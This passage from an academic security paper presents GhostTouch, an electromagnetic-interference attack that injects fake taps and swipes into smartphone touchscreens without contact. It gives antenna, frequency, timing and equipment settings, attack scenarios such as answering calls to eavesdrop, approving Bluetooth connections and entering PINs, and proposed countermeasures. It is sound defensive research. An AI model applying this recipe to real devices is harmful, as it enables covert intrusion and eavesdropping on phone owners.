raw capacitance data of the touchscreen. Using ADB, we
are able to record the capacitance data on the Huawei P10
Plus before and during the electromagnetic interference. We
calculate the difference of the capacitance data to acquire the
variation caused by the EMI and plot the result in Figure 5.
The capacitance of a line in the middle of the screen decreases
dramatically, which corresponds to the distribution of injected
points on this phone in Figure 19(c) in Appendix.

Our feasibility study confirms that the touchscreens of vari-
ous phone models are susceptible to EMI. Therefore, it is
feasible for an attacker to inject fake touch points to the
touchscreen of the victim’s smartphone without any phys-
ical contact. However, as the next step, we will study methods
to transform random electromagnetic interference to elabo-
rate electromagnetic attacks that can inject controllable touch
events and manipulate the smartphone in real-life scenarios.

Figure 5: A visual illustration of the capacitance variations
caused by EMI on the touchscreen of a Huawei P10 Plus. The
plot corresponds to the screen in the landscape orientation.
The capacitance variations in the middle (valuing between -3
to -9) conform to the results in Figure 19(c) in Appendix.

4 Threat Model

The attacker’s goal is to manipulate the victim device by
injecting fake touches to the touchscreen in a contactless
manner. We make the following assumptions for the attack:

• Victim device: The victim device is equipped with a
capacitive touchscreen, such as a smartphone or tablet.
The device is unaltered before the attack and placed
face-down on a surface (e.g., a table) during the attack.

• Attacker’s knowledge: The adversary may know the
victim’s device model and acquire a device of the same
model to study beforehand. Further, the adversary may
acquire the victim’s phone number via social engineer-
ing.

• Attacker’s capability: The attacker can only attack the
device by manipulating the touchscreen via electromag-
netic signals. However, the adversary cannot physically
touch the victim device or ask the user to perform any
tasks.

• Attack setup: The attacker may hide the attack equip-
ment under the table where the victim devices might be
attached to a surface (e.g., under a table in a meeting
room, or charging station). The attacker can control the
attack equipment remotely.

5 Attack Design

In this section, we present GhostTouch, the first contactless
attack against capacitive touchscreens of smartphones. Our
goal is to inject controllable touch events, such as taps and
swipes, into a targeted area of the touchscreen and use them
to manipulate the device. To achieve this goal, we need to
tackle the following technical challenges:

1) Effectively inject fake touch points: Although our study
confirms that EMI injection is feasible, the fake points are
injected using unpredictable signals after trial and error. To
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Figure 6: An illustration of the GhostTouch design. We first prepare the EMI signal for effective touch point injection and then
design the signal for controllable touch events. We emit the crafted signal with an antenna to make the touchscreen mistakenly
sense two types of basic touch events, i.e., taps and swipes, which can be used to construct more complex touch behaviors for
various attack scenarios.

achieve a powerful attack, we need to understand the interfer-
ence process and design electromagnetic signals for effective
and efficient injection.

2) Create controllable touch events: The fake touch points
in previous work and our feasibility study can only distribute
randomly on the screen. To achieve controllable touch events
such as taps and swipes, we need to constrict the fake touch
points into a target area of the screen and adjust their positions
as desired.

To address the first challenge, we study three main factors
that affect the effectiveness and efficiency of touch point injec-
tion, i.e., the transmitting antenna, signal frequency, and attack
distance. Our goal is to find the best options for these factors
that in combination can achieve the maximum intensity of
touch point injection in a reproducible and cost-effective way.
To address the second challenge, we study methods to make
the randomly distributed touch points repeatedly appear in
a constricted area of the touchscreen. By adjusting the tim-
ing of the transmission, the transmitting period, and antenna
positions, we can control the position of the injected touch
points.

The design of GhostTouch is shown in Figure 6. In the
first stage, we prepare the EMI signal for effective touch
point injection by choosing a proper antenna, selecting signal
frequency, and controlling the attack distance. In the second
stage, we design the EMI signal for controllable touch events
by probing the touchscreen, synchronization, and adjusting
key signal parameters. After these stages, the crafted EMI
signal is emitted by the antenna to attack the touchscreen of
a smartphone. GhostTouch can induce two types of basic
touch events, taps and swipes, which can be used to construct
more complex touch behaviors for various attack scenarios.
We introduce the details in the following.

5.1 Effective Touch Point Injection

In the first stage, we study the main factors that affect the ef-
fectiveness and efficiency of touch point injection, including
the type and length of the transmitting antenna, the frequency
of the EMI signal, and the distance between the transmitting
antenna and touchscreen. We seek to find the optimal com-

bination of these factors to increase the possibility of touch
point injection. Though the transmitting power plays an im-
portant role for EMI, it is generally considered that the higher
the power the stronger the interference, therefore we do not
discuss the transmitting power in the attack design.

In our attack, the electromagnetic interference needs to
satisfy two requirements: (1) the intensity of the induced
electromotive force needs to be high enough to influence the
touch sensing, and (2) the electromagnetic interference needs
to affect only a part of the touchscreen so that the injected
touch points can appear in a restricted area instead of all over
the screen. To meet these requirements, we elaborate on our
considerations in the transmitting antenna, signal frequency,
and attack distance.

5.1.1 Transmitting Antenna

An electromagnetic field can be generated and received by
an antenna. In our attack, the electrodes in a touchscreen
essentially act as antennas that unintentionally pick up the
electromagnetic interference. The RX electrodes are espe-
cially vulnerable because the induced electrical signals can
directly affect the touch sensing. To maximize the efficiency
of electromagnetic coupling, the antenna we use to emit the
EMI needs to match the equivalent antennas in the touch-
screen, including both the antenna type and length. There are
many types of antenna, mainly including electric dipole (e.g.,
Hertzian antenna) antenna and magnetic dipole (e.g., small
loop antenna) antenna [22]. The electrodes of a touchscreen
can be regarded as electric dipole antennas, and the circuit
formed by a TX electrode, an RX electrode and the AFE IC
can be regarded as a magnetic dipole antenna. Thus, we can
use both types of antennas to transmit the EMI. To make the
antennas’ length match on a similar magnitude, we measure
the size of the touchscreen and make a rough estimation.

For example, the size of a Nexus 5X is 147×72.6 mm. We
have verified that both our self-made electric dipole antenna
using a Dupont jumper wire of 140mm and a 4mm-diameter
tip antenna (with a total coil length of around 70mm) are
effective in our attack as they match the equivalent antennas
in the touchscreen.
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5.1.2 Signal Frequency

The frequency of an electromagnetic signal determines the ef-
ficiency of it being transmitted or received by a given antenna.
We can estimate the effective signal frequency based on the
electrical length [36] of the targeted/selected antenna. Electri-
cal length is defined as the ratio of the physical length of the
antenna to the wavelength of the electromagnetic signal. Em-
pirically, an antenna whose electrical length is less than 1/20
or 1/50 can be considered as electrically short, which means
that it can barely emit EM signals of the desired wavelength
(frequency). Higher antenna gain can generally be achieved
with larger electrical length, e.g., when the ratio between the
antenna’s physical length and the signal’s wavelength is 1/2
or 1/4. In our attack, assume the physical length of the an-
tenna is l, then the signal frequency corresponding to a 1/50
electrical length is c/50l, where c is the speed of light. To
have the signal being effectively transmitted and received, the
signal frequency needs to be higher than c/50l to ensure an
electrical length higher than 1/50.

For example, consider the Nexus 5X we discussed earlier,
to make the electromagnetic signal couple into the 147mm RX
electrode, the signal’s frequency needs to exceed 40.8MHz.
To verify the estimated frequency, we conduct a frequency
sweeping experiment starting from 4MHz using a Rigol
DG5072 arbitrary waveform generator and the 140mm self-
made antenna. The end frequency is 70MHz because it is
the maximum frequency supported by the equipment. We
set the signal amplitude to 20Vpp in the experiment. The re-
sults show that we can inject a significant amount of touches
into the touchscreen of a Nexus 5X at a signal frequency of
46MHz, which conforms to our estimation. Here we need to
note that we may be able to find other effective frequencies if
we can scan above 70MHz with appropriate equipment.

5.1.3 Attack Distance

The energy of an EM signal is inversely proportional to the
square of the transmitted distance [44]. In addition, the dis-
tance affects the spatial distribution of the electromagnetic
field. There are mainly two types of electromagnetic fields,
i.e., near field and far field, which are different in the energy
distribution [36]. Near field stores the energy of the signal
source and is mainly distributed near the source. Empirically,
we can consider an electromagnetic field as a near field when
the distance to the source is smaller than 2D2/λ, where D
is the size of the antenna and λ is the wavelength. Since
our attack requires the EM interference to affect a part of
the screen and possess a high intensity, we keep the attack
distance within the near field and as short as possible.

For example, with a 140mm antenna and a 46MHz sig-
nal frequency, a distance within 6mm to the antenna can be
considered as the near field. We explore the impact of attack
distance on a Google Pixel 1. The results in Figure 21 in Ap-
pendix show that as the attack distance increases from 5mm

to 10mm, the injected touch points get less intense and less
concentrated.

In this stage, we prepare the attack signal for effective touch
point injection by studying the optimal combination of the
transmitting antenna, signal frequency, and attack distance.
Although we try to constrict the injected touch points into
a restricted area by controlling the attack distance, the best
effect we can achieve in this stage is to inject fake touches
randomly along a targeted line as shown in Figure 21 in Ap-
pendix, which corresponds to the location of one or several
neighboring RX electrodes close to the antenna in the touch-
screen. This is because our EM signal is coupled into the RX
electrodes when varying TX electrodes are driven. Note that
the RX electrodes on different smartphones have different
orientations, so a specific smartphone allows either vertical
or horizontal excitations. In the next stage, we will study how
to inject fake touch points into a smaller area, e.g., around
a targeted point, and explore methods to create controllable
touch events.

5.2 Creating Controllable Touch Events

Creating controllable touch events such as tapping on a spe-
cific button or swiping in a specific direction requires us to
achieve a higher level of control over the injected touch points.
Specifically, we need to inject touches to a targeted point on
the screen instead of along a targeted line and be able to ma-
nipulate the injected touch points, such as their shape, location,
and movement.

5.2.1 Injecting Touches to a Targeted Point

The core idea of injecting touches to a targeted point on the
screen is to synchronize our interference signal with the TX
scanning of touchscreen. Before elaborating on this, we probe
the TX electrodes to understand how the excitation signals
are sent.

Touchscreen probing: Not all smartphone manufacturer
are publishing their devices touch sampling rate. Moreover,
some devices dynamically change the sampling rate depend-
ing on the app displayed or other parameters (e.g., last touch
point time). For these it is possible to find the sampling rate
and the currently sensed position of the screen by probing the
screen, as described in Appendix A.

Synchronization with TX scanning: We illustrate our
idea in Figure 7. The excitation signal is sketched according
to the probing results. We generate a short interfering signal
with a duration Td equal to or less than the time to scan one
TX electrode Tp1. Suppose that the signal is coupled into an
RX electrode at the time when the 2nd TX electrode is driven,
then a fake touch point will appear at the intersection of the
interfered RX electrode and the 2nd TX electrode. The touch
point will not appear at other locations because there is no
interference when other TX electrodes are driven. By setting
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Figure 8: A visual distribution of the injected touch points on
a Nexus 5X using five different transmitting durations. The
touch points become more disperse as the duration increases.

the period of the interfering signal T equal to the scanning
period Tp, i.e., synchronizing with the targeted TX electrode,
we can make fake touch points repeatedly appear at the same
point, which can be detected by the touchscreen as a single
tap.

5.2.2 Manipulation of Touch Points

We can manipulate the touch points’ shape, location, and
movement by adjusting several waveform parameters such as
the transmitting time, duration Td , and period T .

Shape: We can control the shape by adjusting the duration
Td of the interfering signal, because as the duration increases,
more TX electrodes are driven when the RX electrode is in-
terfered, therefore making the touch points appear in a larger
area. However, there is a trade-off when adjusting the du-
ration. When the duration is too short, the intensity of the
interference may be too small to affect the touchscreen. We
demonstrate the ability to manipulate the shape with an exper-
iment on Nexus 5X, where we set the duration Td to 0.5Tp1,
Tp1, 2Tp1, 3Tp1, and 4Tp1. Figure 8 shows the touch points’
visual distribution on the screen. As we increase the dura-
tion, the injected touch points get more disperse in shape. By
default, in GhostTouch we set the duration Td to Tp1.

Location: The location of fake touch points can be mod-
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Figure 9: The speed of touch point movement changes while
we adjust the transmitting period. It demonstrates the ability
to move fake touches in arbitrary directions and with arbitrary
speeds.

elled by the intersected RX-TX electrodes. We can inject fake
touch points to any location on the screen by adjusting the
timing of interference and the antenna’s position. To interfere
when a targeted TX electrode is driven, an attacker can either
adjust the timing based on the feedback of existing locations
or by prediction based on real-time touchscreen probing. To
interfere with a targeted RX electrodes, the attacker can move
the antenna near the RX or use an antenna array.

Movement: In some cases the attacker needs to move the
injected touch points, e.g., to adjust the touch location or cre-
ate swipes. We can easily achieve touch movement along both
directions of the RX electrodes by setting the transmitting
period T higher or lower than the scanning period Tp. The
amount of deviation from Tp determines the speed of move-
ment. To demonstrate the ability to move the injected points,
we experiment on a Nexus 5X with varying transmitting pe-
riod. We record the touch data using ADB and calculate the
speed of movement. The results in Figure 9 show that we can
move the fake touch points in arbitrary direction and speed.

5.2.3 Controllable Touch Events

With the above methods to generate and fine-tune the EMI
signal, we are able to create controllable touch events. Specif-
ically, in GhostTouch we focus on two types of basic touch
events, i.e., taps and swipes. We validate injecting control-
lable tap, swipe-up, and swipe-down on a Nexus 5X using the
experiment setup and interfering signal shown in Figure 10.
The interfering signal is generated using a Rigol DG5072
arbitrary waveform generator [9] and a self-made antenna.
For each type of touch event, we try 20 times and each trial
lasts for 3 seconds. We are able to inject taps consistently
into any area targeted on the touch screen even an area as
small as 180×180 pixels in the middle of the screen with a
success rate of 85%. Moreover, we can inject swipe-up and
swipe-down into any part of a targeted line with success rates
of both 90%. An attacker can use the injected taps and swipes
to construct more complex touch behaviors for various attack
scenarios, which we will show in the following.
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(a) Experiment setup.
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(b) Interfering signal.

Figure 10: The experiment setup and the interfering signal
used to validate GhostTouch attack on a Nexus 5X.

5.3 Attack Scenarios
We demonstrate the threat of GhostTouch in three practical
attack scenarios that can be implemented by injecting taps
and swipes.

(1) Implant a malware. Suppose the adversary knows the
victim’s phone number or messaging app account, and sends
a message to the victim containing a malicious link. When
the victim’s phone displays a notification upon receiving the
message, the adversary can use GhostTouch to tap the noti-
fication. After automatically opening the message app, the
attacker then taps the malicious link to initiate a drive-by
download of a malware.

(2) Establish a malicious connection. To establish a mali-
cious connection, e.g., WiFi or Bluetooth, the adversary sends
a request to the victim’s phone or uses an NFC tag to trigger
the connection, which will make the phone display a noti-
fication. The adversary can tap the notification to open the
connection request window and then tap the “CONNECT”
button to approve the request. After establishing the connec-
tion, the attacker can perform Man-in-the-Middle attacks or
control the phone with a Bluetooth mouse.

(3) Answer an eavesdropping phone call. Suppose the ad-
versary knows the victim’s phone number, and calls the num-
ber and inject a swipe to answer the call on the victim’s de-
vice. This enables the adversary to eavesdrop on the victim
user. This attack will not raise the victim’s attention when the
phone is switched to silent mode, which many users would
do when they are sleeping, or are at work [4] or a conference.
The adversary may also prevent the phone from ringing by
answering the call before the first ring.

6 GhostTouch System Evaluation

In this section, we discuss the implementation of the
GhostTouch system and its evaluation.

6.1 Implementation
The GhostTouch system consists of two parts, a touch injec-
tor and a phone locator, as shown in Figure 11. The touch

injector can inject touch events, e.g., a tap, a swipe, or multi-
touch, into the touchscreen, and it includes a signal generator,
an amplifier, an on/off switch, and a receiving antenna array.
The on/off switch is used to select the correct antennas to emit
the EMI signals such that it can inject touch events into the
targeted RX lines. The phone locator can identify the position
of the touchscreen. It consists of a sensing antenna array, a
data acquisition device, and a location calculator.

Antenna Array. The antenna array is consisting of the
transmitting and sensing antennas. As mentioned in Section 4,
it will be placed in the appropriate location to facilitate signal
emitting and sensing and attack the target device. Note that
the transmitting antennas are dipole antennas because they
are designed to inject touch points along the RX lines, and the
sensing antennas are coil antennas because they are designed
to receive signals radiating from the touchscreen.

Touch Injector. In our experiments, we implemented two
types of touch injectors with different capabilities: a powerful
full-fledged injector and a smaller portable one. As shown in
Figure 12, the powerful injector utilizes an arbitrary waveform
generator (Rigol DG5072), an amplifier (Mini-Circuits ZHL-
100W-GAN+ [50]) and an on/off switch Time Relay.

The portable injector consists of a signal oscilloscope and
a ChipSHOUTER [5] that integrates the amplifier and an an-
tenna. The signal oscilloscope generates a square wave to
drive the ChipSHOUTER to emit pulses of a broadband sig-
nal that covers the frequency bands proven to be effective in
interfering with touchscreens. Due to the hardware limits of
the ChipSHOUTER, the pulse width is limited to 80ns and
960ns, and an example pulse output of ChipSHOUTER is
shown in Figure 22 in Appendix. Since the powerful injec-
tor has the flexibility of emitting different EMI signals, we
utilize the powerful version for feasibility evaluation. The
ChipSHOUTER injector is used to validate the attacks in
real-world scenarios due to its small size and the fact that it
represents a lower bound for our experiments.

Phone Locator. As mentioned above, the antenna array
is part of the phone locator, and can be used in combina-
tion with both touch injectors. The sensing antennas use a
data acquisition device of NI MyDAQ [32]. This device al-
lows for measuring and analysing the radiated signals of the
touchscreen and inferring the phone position relative to the
sensing antenna. Note that we can reuse the hardware of the
phone locator to assist attack synchronization, as described in
Appendix A.

In the rest of this section, we will evaluate the single touch
injection, multi-touch injection, touch injection scenarios in
real world, and phone locator.

6.2 Single Touch Injection

We evaluate the performance of single touch injection, includ-
ing two basic touch events, tap and swipe.
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Figure 11: An illustration of the GhostTouch system. We
build a touch injector to inject touch events into the touch-
screen, and a phone locator to locate the victim’s phone.
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Figure 12: The high-power experiment setup of the
GhostTouch system including the antenna array.

6.2.1 Experiment Methodology

Experiment setup: In this part, we use the powerful setup,
as shown in Figure 12, and set the transmitting duration to be
3Tp1, the transmitting period to be the same as the scanning
period Tp (120Hz), and the signal frequency of the EMI to
be 46MHz. The default distance between the antenna array
and the screen is 5mm. The targeted smartphones (Nexus
5X by default) are connected to a laptop for touch injection
recording.

Data collection: To quantify the attack results, we need to
obtain the touch event data, e.g., the timestamps and locations
of the injected points. We can acquire the data either from
an Android application or by using Android Debug Bridge
(ADB), a command-line tool that can communicate with An-
droid devices.

Metrics: We evaluate the performance of GhostTouch
from two perspectives: the similarity to real human touches
and the attack capability. The injected touch points and real

human touch points may vary mainly in two aspects, the shape
and concentration of touch points, which can be quantified by
the following metrics:

1. Range, which is the difference between the maximum
and minimum of the injected points’ X/Y coordinates. It
describes the shape of the injected points.

2. Standard deviation of the X/Y coordinates, which de-
scribes the concentration of the injected points.

Metrics to evaluate the attack capability includes the injection
speed, attack delay and success rate:

1. Injection speed, which is the number of injected points
in unit time.

2. Attack delay, which is the time it takes to inject the first
successful touch event since the attack starts.

3. Success rate, which is the proportion of attacks that suc-
cessfully inject the targeted touch event.

6.2.2 Tap

We use the powerful experiment setup, to evaluate the per-
formance of injecting targeted taps. We set the transmitting
period to Tp and repeat the experiments 100 times with each
time lasting for 3 seconds. Since the Tp is drifting over time,
we measure it constantly and adjust the transmitting period.
After recording the data of the injected points by ADB, we
calculate the range of x and y coordinates, the standard devia-
tion of the coordinates, and the injection speed. We show the
samples of ‘taps’ in Figure 23(a) in Appendix.

Similarity between injected points and real touch events:
The metrics of the injected points are shown in Figure 13. The
mean of rangex and rangey are 36.3 pixels and 175.8 pixels,
respectively, and the mean of stdx and stdy are 5.4 pixels and
44.0 pixels, respectively.

To compare our GhostTouch with real touch events, we
recruited 30 volunteers of three professions (students, profes-
sors, administrative staff), including 8 females and 22 males
aged between 20 and 50 to tap the ‘Home’ button on the
Nexus 5X, using the thumb and forefinger 30 times each. Then
we randomly select 1800 samples from the volunteers’ taps
and the taps injected by the attacker, respectively. The com-
parison between the GhostTouch and the real touch events
are shown in Figure 14. Compared with human taps, the in-
jected taps are distributed in a smaller range on the x-axis,
and distributed in a larger range on the y-axis. However, the
difference between the injected taps and user’s taps is very
small and hence not distinguishable from the source.

Attack capability: (1) Injection speed: According to Fig-
ure 13, the mean of the injecting speed is 45.38 point/s. Con-
sidering the maximum human touch speed is about 7 points/s,
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Figure 13: The performance of injecting taps in 100 trials,
including the range of the x and y coordinates (top), the stan-
dard deviation of the coordinates (middle), and the injection
speed (bottom).
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Figure 14: A comparison of the similarity between the taps
from 30 volunteers and the ones injected by the attacker. Com-
pared with real touch events, the taps injected by the attacker
are distributed in a smaller range on the x-axis, and distributed
in a larger range on the y-axis.

this injection speed can satisfy the attacker’s requirements.
(2) Consistency means how long the injected points will stay
in one position, which is important because an adversary may
need to tap the same point repeatedly for a few seconds. For
example, we inject ‘taps’ into Nexus 5X’s touchscreen for
15 seconds and the injected points stay within a small area
for 15 seconds. Detailed results are reported in Appendix
(Figure 24). (3) The attack delay is less than 0.5 seconds.

6.2.3 Swipe

We use the experiment setup as shown in Figure 12(a) for
evaluation. By slightly changing the transmitting period T
around Tp, we can ‘swipe up’ or ‘swipe down’. For a sample
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Figure 15: The performance of injecting a swipe-up in 80
trials, including the time delay until a successful swipe-up
is injected (top) and the number of unintended touch events,
e.g., taps or swipe-downs (bottom).

of injected swipes refer to Figure 23(b) in Appendix. Similar
to the results shown in Figure 9, the direction and speed of
the swipe are related to the difference between T and Tp.

We evaluate the attack delay and success rate of injecting
swipes by setting the transmitting period T to 7.7ms and
repeatedly trying to swipe up. It is counted as a success if
there are no taps or swipes down until the first swipe up
on Nexus 5X as our showcase. (1) To calculate the success
rate, we measure the number of false events before the first
successful swipe up, e.g, taps and swipes-down. The number
of false events are 30 out of 80 times, which leads to the
success rate of 62.5% (50/80). (2) Attack delay: It takes 1.6
seconds on average to inject a successful swipe up. Detailed
results are shown in Figure 15.

6.3 Multi-touch Injection
Multi-touch gestures have become a popular input operation,
they can either be multiple simultaneous touches or multiple
swipes at different locations of the screen. The most robust
way of realizing multi-touch injections is to inject touches or
swipes into different RX lines at the same time. To inject mul-
tiple touches at the touchscreen, we utilize an antenna array, as
shown in Figure 12(b). The on/off switch will choose multiple
antennas over the right locations to emit the EMI signal, with
each chosen antenna being coupled with the corresponding
RX lines. Thus, the attacker can successfully inject taps along
the targeted RX lines simultaneously and achieve multi-touch
injection. We validate the feasibility of injecting three touch
points using three antennas, and the performance results of
multi-touch injection is similar to the attack capabilities and
properties using one antenna (c.f. Section 6.2).
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6.4 Touch Injecting Scenarios

Experiment Setup: To demonstrate the threat of injecting
taps and swipes, we illustrate three attack scenarios conducted
with the ChipSHOUTER touch injector setup and one sce-
nario using the powerful setup with an antenna array. We use
a ChipSHOUTER device to generate pulses by charging to
500V and discharging its capacitors. Although the shape of
the pulses is fixed, we can adjust how often to emit a pulse
(i.e., pulse periods) by adjusting the frequency of the square
wave that drives the ChipSHOUTER. In our experiments, we
set the square wave signal with 20% duty cycle when the
transmitting period equals the scanning period Tp (120Hz),
and pulse width is set to 350ns.

Answering the phone call: We inject swiping actions in
the middle line on the Nexus 5X to answer the phone call.
The tip of the ChipSHOUTER was positioned 5mm over the
middle of the screen. When the phone is called, we transmit
the EMI signal with a transmitting period of 130Hz to swipe
up. As a result, we answer the phone call successfully in all
the 10 tests and it takes about 4.1 seconds on average, with a
max of 6 seconds and a min of 2 seconds.

Pressing the button: We inject a tap into a certain but-
ton on the screen to press this button. We implemented an
Android app. It displays a button oriented on the middle of
the X-axis and with 77d p distance to the right side of the
screen, where normally “OK” or “Accept” buttons would be
displayed. The button is sized at 36d p height and 80d p width.
The app collects all taps not on the button and stops when the
button is pressed for the first time. We evaluated this attack on
the Nexus 5X using the ChipSHOUTER, and the tip was hov-
ering 5mm over the bottom of the screen. With an injection
frequency of 120Hz, it took 7.5 seconds for the injected touch
points to press the button. 11.3 taps were injected wrongly
until the next tap hit the button.

Swiping up to unlock: We inject swiping actions in the
middle line on the Nexus 5X. For the Nexus 5X device, its
lock screen has a “swipe up to unlock” mechanism. The tip
of the ChipSHOUTER was positioned 5mm over the middle
of the screen. After a proper pulse frequency for injecting
swipes was found (130Hz), injecting a swipe to unlock 20
times took 8.5 seconds on average with a minimum time of
1s and a maximum of 20s.

Entering a password: Once the attacker acquires the in-
formation of the password either by shoulder surfing or social
engineering, she can utilize the touch injector to unlock the
phone. We first select the correct antennas that are close to
the target areas and adjust the timing to emit EMI signals
such that we can ‘press’ the desired numbers in the virtual
keyboard. As test cases we picked two PIN codes 3699 and
9999 to test. We were able to enter the PIN codes successfully
in about 20s and 1s, respectively. It is possible to enter any
PIN or password with GhostTouch, yet complex passwords
will require extra time to accomplish successful injection.
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Figure 16: An illustration of the impact of the attack distance.
The injection speed tends to decline as the distance increases.

6.5 Factors Affecting Touch Injection

We evaluate the factors that may affect the performance of
touch injector, including attack distance, the phone model,
ChipSHOUTER coil buzzing, and wireless charging.

Attack distance. We evaluate the impact of the distance
between the transmitting antenna and the touchscreen using
the setup shown in Figure 12(a), which can output a high-
intensity EMI. The devices are attacked 40 times at a range
of 0 to 15mm lasting 3 seconds each. Subsequently, the range
of the injected points’ x/y coordinate and the injecting speed
is calculated. The results are presented using a box plot from
Matlab, as shown in Figure 16. The central mark of each box
indicates the median, and the bottom and top edges respec-
tively indicate the 25th and 75th percentiles. The outliers are
plotted individually using the ’+’ symbol, and the whiskers
extend to the most extreme data points except for outliers.

According to the results, the injecting speed tends to decline
as the distance increases, which is according to the attenuation
of the EMI. We were capable to achieve a distance of up to
40mm.

Phone models. We evaluate the GhostTouch attacks on
11 phone models, using the portable setup with the Chip-
SHOUTER. We set the attack distance to 6mm for all phones
for comparison. Broadly distributed touch points can be in-
jected into 9 of these smartphones. We therefore explore
whether we can realize the GhostTouch attack on these
phones, and once successful we evaluate the performance
by injecting taps for 4 seconds each. We calculate the injec-
tion speed and the standard deviation of the injected points’
x/y coordinates. We record the direction of the swipe for each
phone. According to the results, as shown in Table 2, we can
inject touch points at chosen positions for 6 out of 11 phone
models with GhostTouch attacks and therefore they are vul-
nerable to the attack scenarios described in Section 6.4. Since
the injecting speed for Huawei Honor View 10 is low, we
extend the experiment duration of injecting taps to 40 seconds
and calculate the average result. For Galaxy S20 FE 5G and
iPhone SE (2020), our approach can inject touch points suc-
cessfully and perform malicious operations, but not always
with high precision. Such a vulnerability is still dangerous,
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Table 2: Attack performance on 11 phone models using the
ChipSHOUTER. Nine phones are vulnerable to the attack, on
six we can inject touch points precisely.

Phone model Success Inje. Speed Direction Std/pixel Std/mm
X Y X Y

Galaxy A10s � 3.5 Vertical 158.9 111.9 14.9 10.5
Huawei P30 Lite � 2.0 Vertical 182.0 189.0 11.1 11.6
Honor View 10 � 0.3 Vertical 41.4 4.9 1.3 0.6

Huawei Mate 40 Pro × N/A N/A N/A N/A N/A N/A
Galaxy S20 FE 5G (�) 2.8 Vertical N/A N/A N/A N/A

iPhone 12 × N/A N/A N/A N/A N/A N/A
iPhone SE (2020) (�) 1.0 Vertical N/A N/A N/A N/A

Nexus 5X � 8.2 Vertical 14.6 19.2 0.9 1.1
Redmi Note 9S � 2.5 Horizontal 73.3 210.2 4.7 13.5

Nokia 7.2 � 8.7 Vertical 36.5 156.3 2.3 9.9
Redmi 8 (�) 1.5 Horizontal N/A N/A N/A N/A

to illustrate, we managed to establish a malicious Bluetooth
connection on iPhone SE (2020), with an average delay of 7.1
seconds.

ChipSHOUTER coil buzzing. The ChipSHOUTER while
generating a wide range signal and due to its small form factor
is emitting a high-pitched audible coil buzzing noise. We
measure this buzzing noise using the Benetech GM1357 [12].
It is 44dB right next to the ChipSHOUTER, 42dB 20cm above
the table under which the ChipSHOUTER is placed, and 38dB
30cm above the table. Note that the buzz of a refrigerator
is about 40dB. While this noise is audible when in close
proximity in a silent room, it is too faint to hear in a crowded
place (e.g., conference hall, cafe).

Wireless charging. Our attack can be successfully
launched in the same manner while the device is being
charged. The device’s touchscreen is still fully functional dur-
ing wireless charging, as the smartphone components shield
the touchscreen from the magnetic field. Further, wireless
chargers usually operate at 130−175kHz, insufficient to cou-
ple to an RX electrode.

6.6 Phone Locator
To inject touch points precisely, the attacker needs to know
how the victim’s phone is placed. We implement the phone
locator as shown in Figure 12(b). It consists of sensing anten-
nas and a NI MyDAQ. In practice we can place a matrix of
sensing antennas to locate the phone positions with the fol-
lowing observation: a sensing antenna over the touchscreen
can detect the radiated signals (e.g., the leaked signals of the
TX excitation signal of the touchscreen at a frequency of
120Hz), while the ones away from the touchscreen will detect
a weaker signal or none at all due to attenuation. Thus, the
sensing antennas are used to receive the leaked signals, which
are processed by the NI MyDAQ to deduce the phone location
and orientation, with respect to the sensing antennas. After
obtaining the phone position, we can infer the positions of the
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Figure 17: Touch interval of 30 volunteers (P) and a
GhostTouch attacker (A). The touch events from a human
and an attacker can be separated by setting a threshold, repre-
sented by the dotted line.

buttons based on the operating system and target application,
e.g., Bluetooth connection accept dialog.

7 Potential Countermeasures

Our results showed that certain smartphones are less vulnera-
ble to the GhostTouch attack, which could be due to better
electromagnetic shielding or effective validation. Inspired
by this, we propose three categories of countermeasures to
mitigate the threat of GhostTouch attack:

Reinforcement: Manufacturers may reinforce the touch-
screen to protect it from the threat of GhostTouch attack.
First, adding electromagnetic shielding is effective to block
EMI. Second, increasing the voltage of the excitation signal
may increase the SNR, which will mitigate the influence of
EMI. Third, a driving method based on a more sophisticated
excitation signal waveform may be used to filter out injected
current by EMI. Although these countermeasures could re-
duce the impact of EMI on the touch screen, they require
modifications to the hardware of the touchscreen or lead to
higher energy consumption. Thus, these countermeasures are
not suitable for existing touchscreens.

Detection algorithm: The manufacturer can improve the
detection algorithm of the touchscreen. For example, the
GhostTouch attack can be detected utilizing the touch in-
terval between pressing and lifting the finger. To explore the
effectiveness of this method, we calculate the touch interval of
a GhostTouch attacker and 30 volunteers as in Section 6.2.2.
We randomly choose 2000 samples from the attacker and vol-
unteers each and analyze the distribution of the touch interval
using a box plot from Matlab. As shown in Figure 17, the
upper adjacent of the attacker is lower than the lower adjacent
of the volunteers. We can set a threshold, e.g., the red line in
Figure 17, to identify whether the touch point belongs to a
user or an attacker.

Moreover, the capacitance distribution shows a certain pat-
tern when the touchscreen is under our GhostTouch attack
opposed to being used by a human. Based on these facts, the
manufacturer could detect abnormal touch points, reject them
and warn the user.

Identity verification: Application permissions may be re-
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stricted and identity verification needs to be conducted when
executing high-risk actions. For example, conduct identity
verification before connecting to a Bluetooth device or an
unknown WiFi. Identity verification can be realized by re-
questing the user to verify his fingerprint, face or provide his
PIN or password.

8 Related Work

In the following, we provide a summary of the existing attacks
on touchscreens as well as attacks utilizing electromagnetic
interference (EMI).

EMI attack: There have been several studies on EMI at-
tacks over the last years. EMI attacks are used for Denial of
Service (DoS), injection of false information into sensing cir-
cuits, or to glitch computations. Sabath et al. [37] launched a
jamming attack using high-power EMI, which causes degrada-
tion or loss of the main function of critical electronic systems.
Hayashi et al. [14] showed that electrical devices with crypto-
graphic modules are vulnerable to electromagnetic interfer-
ence. Schmidt et al. [38] showed that it is possible to induce
faults into cryptographic systems using EMI and therefore
breaking RSA. Dehbaoui et al. [8] showed that it is possible
to inject faults into hardware and software implementations of
AES using EMI. O’Flynn et al. [34] used EMI to force a hard-
ware keystore to leak sensitive data by precisely manipulating
packets sent over the USB stack. Kune et al. [24] investi-
gated the susceptibility of analog sensors to EMI attacks and
implemented the EMI attack against implantable cardiac elec-
tronic devices and consumer electronic devices containing
microphones. Selvaraj et al. [39] presented an EMI attack
which can cause bit flips or inject false actuation signals in
embedded systems. Giechaskiel et al. [11] demonstrated the
threat of EMI attack by injecting malicious commands into a
smartphone. There have been other signal injection attacks on
sensors [19, 42, 45, 48, 49] and defense mechanisms [46, 47].
Our attack GhostTouch takes another approach and utilizes
the observation that EMI can induce current flow into a sens-
ing circuit. We focus on capacitive touchscreen and their
sensing mechanism to inject wrongly recognized touches into
the touch panel. Capacitive touchscreens have more complex
structures and mechanisms. Furthermore, capacitive touch-
screens of smartphones have been tested for electromagnetic
compatibility, and therefore, it is significantly more challeng-
ing to launch a fake touch injection attack on them.

Attacks on touchscreen: Research on the security of touch-
screens can be divided into two categories, passive eavesdrop-
ping and active spoofing attacks. In passive eavesdropping,
